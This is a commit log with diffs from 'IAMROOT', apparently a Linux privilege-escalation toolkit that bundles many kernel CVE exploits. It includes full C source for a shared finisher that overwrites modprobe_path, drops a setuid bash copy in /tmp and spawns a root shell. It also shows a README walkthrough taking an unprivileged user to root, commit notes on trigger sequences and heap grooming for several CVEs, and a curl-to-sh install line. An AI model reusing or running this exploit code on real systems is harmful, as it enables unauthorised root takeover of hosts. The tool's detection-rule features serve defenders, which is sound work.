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leviathan 9d88b475c1 v0.3.1: --dump-offsets tool + NOTICE.md per module
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The README has been claiming "each module credits the original CVE
reporter and PoC author in its NOTICE.md" since v0.1.0, but only
copy_fail_family actually shipped one. Fixed.

  modules/<name>/NOTICE.md (×19 new + 1 existing): per-module
    research credit covering CVE ID, discoverer, original advisory
    URL where public, upstream fix commit, IAMROOT's role.

  iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets
    via the existing core/offsets.c four-source chain (env →
    /proc/kallsyms → /boot/System.map → embedded table), then emits
    a ready-to-paste C struct entry for kernel_table[]. Run once
    as root on a target kernel build; upstream via PR. Eliminates
    fabricating offsets — every shipped entry traces back to a
    `iamroot --dump-offsets` invocation on a real kernel.

  docs/OFFSETS.md: documents the --dump-offsets workflow.
  CVES.md: notes the NOTICE.md convention + offset dump tool.

  iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.
2026-05-16 22:33:43 -04:00
leviathan 1bcfdd0c9f release: v0.3.0 — 4 new CVE modules (24 total)
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iamroot.c: bump IAMROOT_VERSION 0.2.0 → 0.3.0
  CVES.md: add inventory entries for nft_set_uaf, af_unix_gc,
           nft_fwd_dup, nft_payload; extend operations table;
           bump counts (🟢 13 · 🟡 11 · 🔵 0 ·  1).
  README.md: update Status to 24 modules, list all 11 🟡 modules.

Module families now spanning:
  - copy_fail_family (page-cache write)
  - nf_tables (4 modules: nf_tables, nft_set_uaf, nft_fwd_dup, nft_payload)
  - af_packet (2 modules: af_packet, af_packet2)
  - overlayfs (2 modules: overlayfs CVE-2021-3493, overlayfs_setuid)
  - af_unix (new in v0.3.0)
  - plus 10 single-CVE families
2026-05-16 22:25:15 -04:00
leviathan 5a808e3583 modules: 4 new CVE modules — nft_set_uaf + af_unix_gc + nft_fwd_dup + nft_payload
Each module: detect with branch-backport ranges + userns reach +
hand-rolled trigger + msg_msg cross-cache groom + slabinfo witness
+ /tmp/iamroot-<name>.log breadcrumb + auditd rules + --full-chain
finisher (FALLBACK depth, sentinel-arbitrated).

  nft_set_uaf (CVE-2023-32233, +1033): anonymous-set UAF
                (Sondej+Krysiuk). 5.1 → 6.4. nfnetlink batch:
                NEWTABLE → NEWCHAIN → NEWSET(ANON|EVAL) →
                NEWRULE(lookup) → DELSET → DELRULE; cg-512 spray.

  af_unix_gc (CVE-2023-4622, +813): GC race UAF (Lin Ma). ~2.0 → 6.5
                — widest range of any module. Two-thread race driver
                (SCM_RIGHTS cycle vs unix_gc trigger) + kmalloc-512
                spray. No userns needed.

  nft_fwd_dup (CVE-2022-25636, +1024): nft_fwd_dup_netdev_offload
                heap OOB (Aaron Adams). 5.4 → 5.17. NFT_CHAIN_HW_OFFLOAD
                chain + 16 immediates + fwd to overrun action.entries[].

  nft_payload (CVE-2023-0179, +1136): set-id memory corruption
                (Davide Ornaghi). 5.4 → 6.2. NFTA_SET_DESC variable
                element + NFTA_SET_ELEM_EXPRESSIONS with payload-set
                whose verdict.code drives the regs->data[] OOB.

All 4 honor verified-vs-claimed: trigger fires, primitive grooms, no
fabricated offsets. EXPLOIT_OK only via empirical setuid-bash sentinel.

Build clean on Debian 6.12.86; all 4 refuse cleanly on both default
and --full-chain paths via the existing patched-kernel detect gate.
2026-05-16 22:24:15 -04:00
leviathan 6a0a7d8718 scaffold: 4 new module dirs + registry/Makefile wiring (stubs)
Pre-scaffolding for the next batch (CVE-2023-32233, CVE-2023-4622,
CVE-2022-25636, CVE-2023-0179). Each module ships as a 21-line
stub returning PRECOND_FAIL; parallel agents fill in the real
detect/exploit/--full-chain implementations.

This commit keeps registry.h / iamroot.c / Makefile in one place
so the 4 parallel agents don't collide on shared-file edits — they
each own a single iamroot_modules.c.

Build clean on Debian 6.12.86; --list shows all 24 modules
including the 4 new stubs.
2026-05-16 22:17:47 -04:00
leviathan e2a3d6e94f release: v0.2.0 — --full-chain root-pop opt-in across 7 🟡 modules
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iamroot.c: bump IAMROOT_VERSION 0.1.0 → 0.2.0
  CVES.md: redefine 🟡 to note --full-chain capability + docs/OFFSETS.md
  README.md: update Status section for v0.2.0
  docs/OFFSETS.md: new doc — env-var/kallsyms/System.map/embedded-table
                   resolution chain + operator workflow for populating
                   offsets per kernel build + sentinel-based success
                   arbitration.

All 7 🟡 modules now expose `--full-chain`. Default behavior unchanged.
2026-05-16 22:06:14 -04:00
leviathan c1d1910a90 modules: wire --full-chain root-pop into all 7 🟡 PRIMITIVE modules
Each module now exposes an opt-in full-chain root-pop via --full-chain:
default --exploit behavior is unchanged (primitive-only, returns
EXPLOIT_FAIL). With --full-chain, after primitive lands, modules call
iamroot_finisher_modprobe_path() via a module-specific arb_write_fn
that re-uses the same trigger + slab groom to write a userspace
payload path into modprobe_path[], then exec a setuid bash dropped
by the kernel-invoked modprobe.

  netfilter_xtcompat (+239): msg_msg m_list_next stride-seed FALLBACK
  af_packet (+316):          sk_buff data-pointer stride-seed FALLBACK
  af_packet2 (+156):         tp_reserve underflow + skb spray, LAST RESORT
  nf_tables (+275):          forged pipapo_elem with kaddr value-ptr
                             (Notselwyn offset 0x10), FALLBACK
  cls_route4 (+251):         msg_msg refill of UAF'd filter, FALLBACK
  fuse_legacy (+291):        m_ts overflow + MSG_COPY sanity gate,
                             FALLBACK (one of two modules with a real
                             post-write sanity check)
  stackrot (+233):           race-driver budget extended 3s → 30s when
                             --full-chain; honest <1% race-win/run

All seven honor verified-vs-claimed: arb_write_fn returns 0 for
"trigger structurally fired"; the shared finisher's setuid-bash
sentinel poll is the empirical arbiter. EXPLOIT_OK only when the
sentinel materializes within 3s of the modprobe_path trigger.

Build clean on Debian 6.12.86 (kctf-mgr); all 7 modules refuse
cleanly on both default and --full-chain paths via the existing
patched-kernel detect gate (short-circuits before the new branch).
2026-05-16 22:04:40 -04:00
leviathan 125ce8a08b core: add shared finisher + offset resolver + --full-chain flag
Adds the infrastructure the 7 🟡 PRIMITIVE modules can wire into for
full-chain root pops.

  core/offsets.{c,h}: four-source kernel-symbol resolution chain
    1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, …)
    2. /proc/kallsyms (only useful when kptr_restrict=0 or root)
    3. /boot/System.map-$(uname -r) (world-readable on some distros)
    4. embedded table keyed by uname-r glob (entries are
       relative-to-_text, applied on top of an EntryBleed kbase leak;
       seeded empty in v0.2.0 — schema-only — to honor the
       no-fabricated-offsets rule).

  core/finisher.{c,h}: shared root-pop helpers given a module's
    arb-write primitive.
      Pattern A (modprobe_path):
        write payload script /tmp/iamroot-mp-<pid>.sh, arb-write
        modprobe_path ← that path, execve unknown-format trigger,
        wait for /tmp/iamroot-pwn-<pid> sentinel + setuid bash copy,
        spawn root shell.
      Pattern B (cred uid): stub — needs arb-READ too; modules use
        Pattern A unless they have read+write.
    On offset-resolution failure: prints a verbose how-to-populate
    diagnostic and returns EXPLOIT_FAIL honestly.

  core/module.h: + bool full_chain in iamroot_ctx

  iamroot.c: + --full-chain flag (longopt 7, sets ctx.full_chain)
             + help text describing primitive-only-by-default + the
               opt-in to attempt the full chain.

  Makefile: add core/offsets.o + core/finisher.o to CORE_SRCS.

Build clean on Debian 6.12.86; --help renders the new flag.
2026-05-16 21:56:03 -04:00
leviathan 3a5105c84c README: clarify iamroot runs unprivileged + add non-root → root demo
The whole point of an LPE tool is going from unprivileged to root,
but the Quickstart was leading with `sudo iamroot --scan`. Fix:

  - Drop sudo from --scan / --audit / --exploit / --detect-rules.
    These work without root (--scan reads /proc + /etc; --audit
    walks the FS via stat; --exploit IS the privilege escalation;
    --detect-rules emits to stdout).
  - Keep sudo only where it's actually needed: --mitigate (writes
    /etc/modprobe.d + sysctl) and tee'ing rule files into
    /etc/audit/rules.d/.
  - Add a worked example showing `id` as uid=1000, then
    `iamroot --exploit dirty_pipe --i-know`, then `id` as uid=0.
  - Fix the Build & run section's `sudo ./iamroot` too.
2026-05-16 21:51:32 -04:00
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@@ -8,18 +8,27 @@ Status legend:
- 🟢 **WORKING** — module verified to land root on a vulnerable host
- 🟡 **PRIMITIVE** — fires the kernel primitive (trigger + slab groom
+ empirical witness) on a vulnerable host, but stops short of the
full cred-overwrite / R/W chain. Returns `EXPLOIT_FAIL` honestly;
useful as a vuln-verification probe and a continuation point for
full chains. Per-kernel offsets deliberately not shipped.
+ empirical witness) on a vulnerable host. By default returns
`EXPLOIT_FAIL` honestly (no fabricated offsets). Pass `--full-chain`
to additionally attempt root pop via the shared `modprobe_path`
finisher (`core/finisher.{c,h}`) — requires kernel offsets via
env vars / `/proc/kallsyms` / `/boot/System.map`; see
[`docs/OFFSETS.md`](docs/OFFSETS.md). On success returns
`EXPLOIT_OK` and drops a root shell; on failure returns
`EXPLOIT_FAIL` — never claims root without an empirical
setuid-bash sentinel.
- 🔵 **DETECT-ONLY** — module fingerprints presence/absence but no
exploit. (No module is currently in this state — every registered
module now fires either a full chain or a primitive.)
exploit. (No module is currently in this state.)
-**PLANNED** — stub exists, work not started
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts (v0.1.0):** 🟢 13 · 🟡 7 · 🔵 0 · ⚪ 1 · 🔴 0
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `iamroot --dump-offsets` populates the
embedded offset table for new kernel builds — operators with
root on a host can upstream their kernel's offsets via PR.
## Inventory
@@ -46,6 +55,10 @@ Status legend:
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
## Operations supported per module
@@ -74,6 +87,10 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
| fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
| nft_set_uaf | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
## Pipeline for additions
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@@ -20,7 +20,7 @@ BUILD := build
BIN := iamroot
# core/
CORE_SRCS := core/registry.c core/kernel_range.c
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family
@@ -106,10 +106,30 @@ OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
# Family: af_unix_gc (CVE-2023-4622)
AUG_DIR := modules/af_unix_gc_cve_2023_4622
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
# Family: nft_fwd_dup (CVE-2022-25636)
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
# Family: nft_payload (CVE-2023-0179)
NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
.PHONY: all clean debug static help
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@@ -24,23 +24,54 @@
```bash
# One-shot install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
```
# What's this box vulnerable to?
sudo iamroot --scan
**iamroot runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo)
iamroot --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
sudo iamroot --audit
iamroot --audit
# Deploy detection rules across every bundled module
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
sudo iamroot --mitigate copy_fail
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for the
curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) for
the blue-team deployment guide.
### Example: unprivileged → root
```text
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ iamroot --scan
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
$ iamroot --exploit dirty_pipe --i-know
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root
# id
uid=0(root) gid=0(root) groups=0(root)
```
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
for the blue-team deployment guide.
## What this is
@@ -63,19 +94,21 @@ The same binary covers offense and defense:
## Status
**Active — v0.1.0 cut 2026-05-16.** Corpus covers **20 modules**
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
across the 2016 → 2026 LPE timeline:
- 🟢 **13 modules land root** end-to-end on a vulnerable host
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **7 modules fire the kernel primitive** (trigger + slab groom +
empirical witness) but stop short of the full cred-overwrite /
R/W chain — they return `EXPLOIT_FAIL` honestly rather than
fabricate per-kernel offsets. Useful as vuln-verification probes.
(af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
netfilter_xtcompat, stackrot.)
- 🟡 **11 modules fire the kernel primitive** by default and refuse
to claim root without empirical confirmation. Pass `--full-chain`
to engage the shared `modprobe_path` finisher and attempt root
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `iamroot --detect-rules --format=…`.
@@ -115,10 +148,10 @@ module-loader design and how to add a new CVE.
```bash
make # build all modules
sudo ./iamroot --scan # what's this box vulnerable to?
sudo ./iamroot --scan --json # machine-readable output for CI/SOC pipelines
sudo ./iamroot --detect-rules --format=sigma > rules.yml
sudo ./iamroot --exploit copy_fail --i-know # actually run an exploit
./iamroot --scan # what's this box vulnerable to? (no sudo)
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
./iamroot --detect-rules --format=sigma > rules.yml
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
## Acknowledgments
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@@ -0,0 +1,179 @@
/*
* IAMROOT — shared finisher helpers
*
* See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid).
*/
#include "finisher.h"
#include "module.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/wait.h>
static int write_file(const char *path, const char *content, mode_t mode)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
if (fd < 0) return -1;
size_t n = strlen(content);
ssize_t w = write(fd, content, n);
close(fd);
if (w < 0 || (size_t)w != n) return -1;
if (chmod(path, mode) < 0) return -1;
return 0;
}
void iamroot_finisher_print_offset_help(const char *module_name)
{
fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
"\n"
" To populate them on this host, choose ONE of:\n"
"\n"
" 1) Environment override (one-shot, no host changes):\n"
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
"\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
"\n"
" 3) Lower kptr_restrict (per-boot):\n"
" sudo sysctl kernel.kptr_restrict=0 # if you have sudo\n"
" (Note: needs root once — defeats the LPE point on this host.\n"
" Useful when populating offsets on a lab kernel ahead of time.)\n"
"\n"
" To look up the address manually (as root):\n"
" grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n"
"\n",
module_name, module_name);
}
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
if (!iamroot_offsets_have_modprobe_path(off)) {
iamroot_finisher_print_offset_help("module");
return IAMROOT_EXPLOIT_FAIL;
}
if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return IAMROOT_TEST_ERROR;
}
/* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by
* default — so instead copy bash to /tmp and chmod +s the copy. */
char payload[1024];
snprintf(payload, sizeof payload,
"#!/bin/sh\n"
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return IAMROOT_TEST_ERROR;
}
/* Unknown-format trigger: anything that fails the standard exec
* format probe drives kernel's call_modprobe(). Empty + executable
* works on every kernel we care about. */
if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path);
return IAMROOT_TEST_ERROR;
}
/* Build the kernel-side write payload: a NUL-terminated path to
* our mp_path script. modprobe_path[] is 256 bytes in the kernel
* — we write enough to overwrite the leading slot. */
char kbuf[256];
memset(kbuf, 0, sizeof kbuf);
snprintf(kbuf, sizeof kbuf, "%s", mp_path);
fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n",
(unsigned long)off->modprobe_path, mp_path);
if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) {
fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
}
/* Fire the trigger by exec'ing the unknown binary. fork() so the
* kernel sees the unknown format and parent stays alive. */
pid_t cpid = fork();
if (cpid == 0) {
char *argv[] = { trig_path, NULL };
execve(trig_path, argv, NULL);
_exit(127); /* execve failure is expected — kernel still calls modprobe */
} else if (cpid > 0) {
int st;
waitpid(cpid, &st, 0);
} else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
}
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
for (int i = 0; i < 30; i++) {
struct stat st;
if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) {
fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n",
pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid);
goto have_setuid;
}
struct timespec ts = { 0, 100 * 1000 * 1000 }; /* 100 ms */
nanosleep(&ts, NULL);
}
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
have_setuid:
if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_OK;
}
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr);
char *argv[] = { pwn_path, "-p", NULL };
execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
}
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
(void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell;
fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n"
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n");
return IAMROOT_EXPLOIT_FAIL;
}
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/*
* IAMROOT — shared finisher helpers for full-chain root pops.
*
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one
* of two patterns:
*
* A) "modprobe_path overwrite":
* - kernel arb-write at &modprobe_path[0] with a userspace path
* - execve() an unknown-format binary triggers do_coredump's
* fallback to call_modprobe(), which spawns modprobe_path
* as init/root running our payload
*
* B) "current->cred->uid overwrite":
* - kernel arb-write at &current_task->real_cred->uid = 0
* (and cap_*, fsuid, etc. for completeness)
* - setuid(0); execve("/bin/sh")
*
* Pattern (A) is much simpler — only one kernel address needed
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
* Pattern (B) needs a self-cred chase + multiple writes.
*
* Modules provide their own arb-write primitive via the
* iamroot_arb_write_fn callback; this file wraps the rest.
*/
#ifndef IAMROOT_FINISHER_H
#define IAMROOT_FINISHER_H
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include "offsets.h"
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx);
/* Trigger that fires the arb-write. Many modules need to set up the
* groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation:
* 1. Write payload script to /tmp/iamroot-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/iamroot-pwn
* and/or copies /bin/bash to /tmp with setuid root
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
*
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Pattern B: cred uid overwrite. Caller has populated init_task +
* cred offsets. Implementation:
* 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant)
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
* helpful error. */
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
